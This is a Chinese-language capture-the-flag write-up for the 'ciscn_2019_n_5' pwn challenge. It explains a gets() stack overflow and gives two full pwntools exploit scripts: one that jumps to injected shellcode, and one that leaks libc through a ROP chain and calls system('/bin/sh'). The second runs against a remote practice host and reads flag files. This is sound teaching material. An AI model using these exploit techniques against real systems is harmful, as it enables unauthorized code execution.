完全是裸的程序,基本上一点保护都没开。
只有main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char text[30]; // [rsp+0h] [rbp-20h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
puts("tell me your name"); // 输入一串字符串,长度为0x64,有上限,无法溢出
read(0, name, 0x64uLL);
puts("wow~ nice name!");
puts("What do you want to say to me?");
gets(text); // 栈溢出漏洞
return 0;
}
也不存在现成的 system 与 /bin/sh 可供调用
因此 ret2text 行不通。
找到了漏洞,本题就有两种解法了。
既然没开NX,那代表栈是可执行的,只需要构造shellcode即可直接获取shell
具体步骤:
name 中输入shellcode
text中溢出,返回地址填 name 的起始段
getshell
完整PoC如下:
from pwn import *
elf = ELF("/home/pwn/桌面/ciscn_2019_n_5")
p = process("/home/pwn/桌面/ciscn_2019_n_5")
context(arch='amd64', os='linux')
context.log_level = 'debug'
shellcode = asm(shellcraft.sh())
p.sendlineafter('tell me your name\n', shellcode)
payload = flat(b'a' * (0x20 + 0x8) + p64(0x601080))
p.sendlineafter('What do you want to say to me?\n', payload)
p.interactive()
十分简单。但是有个问题,如果本地打不进去可以尝试更换系统打,我的Kali打不进去换了个Ubuntu进去了。
思路如下:
通过 puts 函数泄露真实地址,通过LibcSearcher查询Libc中后3位相同的Libc,dump并计算出 system 、 /bin/sh 的偏移。然后调用即可。
Payload_Name --- 用来跳过第一步的输入 name
payload_pre = ( b'A' * 10 )
io.sendlineafter('tell me your name\n', payload_pre)
Payload_Leak --- 用来进行溢出并获取地址
ret = 0x4004C9
rdi = 0x400713
leak_plt = elf.plt['puts']
leak_got = elf.got['puts']
main_addr = elf.sym['main']
payload = ( b'A' * ( 0x20 + 0x08 ) + p64(rdi) + p64(leak_got) + p64(leak_plt) + p64(main_addr) )
io.sendlineafter('What do you want to say to me?\n', payload)
Payload_Shell --- 用来获取shell
libc = LibcSearcher('puts',real_addr)
libbase = real_addr - libc.dump('puts')
system = libbase + libc.dump('system')
bin_sh = libbase + libc.dump('str_bin_sh')
payload_shell = ( b'A' * ( 32 + 0x08 ) + p64(ret) + p64(rdi) + p64(bin_sh) + p64(system) )
完整PoC如下:
from pwn import *
from LibcSearcher import LibcSearcher
elf = ELF("/root/Desktop/PwnSubjects/ciscn_2019_n_5")
#libc = ELF("/root/Desktop/PwnSubjects/libc-2.23 (1).so")
io = remote("node4.buuoj.cn",25887)
#io = process("/root/Desktop/PwnSubjects/ciscn_2019_n_5")
ret = 0x4004C9
rdi = 0x400713
leak_plt = elf.plt['puts']
leak_got = elf.got['puts']
main_addr = elf.sym['main']
# 阶段1 泄露真实地址
print("--------------------------------------------------")
print("[+] Leaking real address ...")
print("[+] Phase 1 Inprogress.")
payload_pre = ( b'A' * 10 )
io.sendlineafter('tell me your name\n', payload_pre)
payload = ( b'A' * ( 0x20 + 0x08 ) + p64(rdi) + p64(leak_got) + p64(leak_plt) + p64(main_addr) )
io.sendlineafter('What do you want to say to me?\n', payload)
real_addr = u64(io.recv(6).ljust(8,b'\x00'))
print("[+] Payload : \n",(payload))
print("[+] Leacked.")
print(("[+] Real Address : "),hex(real_addr))
print("[+] Phase 1 Completed.")
print("--------------------------------------------------")
# 阶段2 通过泄露的真实地址计算出system以及/bin/sh的地址
print("[+] Phase 2 Inprogress.")
print("[+] Trying got system and /bin/sh address though real address")
libc = LibcSearcher("puts",real_addr)
libcbase = real_addr - libc.dump('puts')
system = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')
print("[+] Phase 2 Completed")
print("--------------------------------------------------")
# 阶段3 打印各个地址
print("[+] Phase 3 Inprogress.")
print("[+] Real Address: ",hex(real_addr))
print("[+] Base Address: ",hex(real_addr))
print("[+] System Address: ",hex(system))
print("[+] /bin/sh Address: ",hex(bin_sh))
print("[+] Phase 3 Completed")
print("--------------------------------------------------")
# 阶段4 获取shell
io.sendline(payload_pre)
io.recvuntil('me?\n')
payload_shell = ( b'A' * ( 32 + 0x08 ) + p64(ret) + p64(rdi) + p64(bin_sh) + p64(system) )
io.sendline(payload_shell)
print("Successfully got shell , Automaticly searching system version.")
print("Got")
io.sendline(b"find '/flag.txt' -exec cat {} \;")
print("The")
io.sendline(b"find '/flag' -exec cat {} \;")
print("Damn")
io.sendline(b"find '/proc/version' -exec cat {} \;")
print("Shell!")
io.interactive()
注意:如果靶机是 Ubuntu18,那需要注意栈平衡。这就是为什么shell之前需要调用一个ret
成功获取shell